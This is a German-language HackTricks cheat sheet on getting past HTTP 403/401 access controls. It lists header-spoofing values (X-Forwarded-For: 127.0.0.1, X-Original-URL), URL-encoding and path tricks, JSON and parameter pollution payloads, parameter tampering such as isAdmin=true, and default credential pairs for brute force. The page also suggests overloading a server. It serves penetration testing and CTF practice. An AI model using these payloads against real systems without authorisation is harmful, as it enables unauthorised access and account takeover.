403 & 401 Bypasses

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

HTTP Verbs/Methods Fuzzing

Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55, dass das HEAD-Verb auf die Info zugreifen kann. Aber Sie müssen immer noch einen Weg finden, um diese Info zu exfiltrieren.
  • Die Verwendung eines HTTP-Headers wie X-HTTP-Method-Override: PUT kann das verwendete Verb überschreiben.
  • Verwenden Sie das TRACE-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die von Zwischenproxies hinzugefügten Header sehen, die nützlich sein könnten.

HTTP Headers Fuzzing

  • Ändern Sie den Host-Header auf einen beliebigen Wert (das hat hier funktioniert)

  • Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.

  • Fuzz HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool fuzzhttpbypass erstellt.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Wenn die Seite hinter einem Proxy ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, HTTP Request Smuggling oder Hop-by-Hop-Header** auszunutzen.**

  • Fuzz spezielle HTTP-Header auf der Suche nach unterschiedlichen Antworten.

  • Fuzz spezielle HTTP-Header, während Sie HTTP-Methoden fuzzing.

  • Entfernen Sie den Host-Header, und vielleicht können Sie den Schutz umgehen.

Path Fuzzing

Wenn /path blockiert ist:

  • Versuchen Sie, /%2e/path _(wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/path (doppelte URL-Codierung)
  • Versuchen Sie Unicode-Bypass: /%ef%bc%8fpath (Die URL-codierten Zeichen sind wie "/"), sodass sie beim Zurückcodieren //path ergeben und Sie möglicherweise bereits die /path-Namensüberprüfung umgangen haben.
  • Andere Pfad-Bypässe:
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Verwenden Sie diese Liste in den folgenden Situationen:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Andere API-Bypässe:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Ändern Sie den Parametervalue: Von id=123 --> id=124
  • Fügen Sie zusätzliche Parameter zur URL hinzu: ?id=124 —-> id=124&isAdmin=true
  • Entfernen Sie die Parameter
  • Ändern Sie die Reihenfolge der Parameter
  • Verwenden Sie Sonderzeichen.
  • Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie -234 oder 0 oder 99999999 (nur einige Beispielwerte) an.

Protokollversion

Wenn Sie HTTP/1.1 verwenden, versuchen Sie, 1.0 zu verwenden oder testen Sie, ob es 2.0 unterstützt.

Andere Bypässe

  • Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, sie direkt zu kontaktieren.
  • Versuchen Sie, den Server zu belasten, indem Sie gängige GET-Anfragen senden (Es hat für diesen Typen mit Facebook funktioniert).
  • Ändern Sie das Protokoll: von http zu https oder von https zu http
  • Gehen Sie zu https://archive.org/web/ und überprüfen Sie, ob die Datei in der Vergangenheit weltweit zugänglich war.

Brute Force

  • Raten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
  • Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Automatische Werkzeuge

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks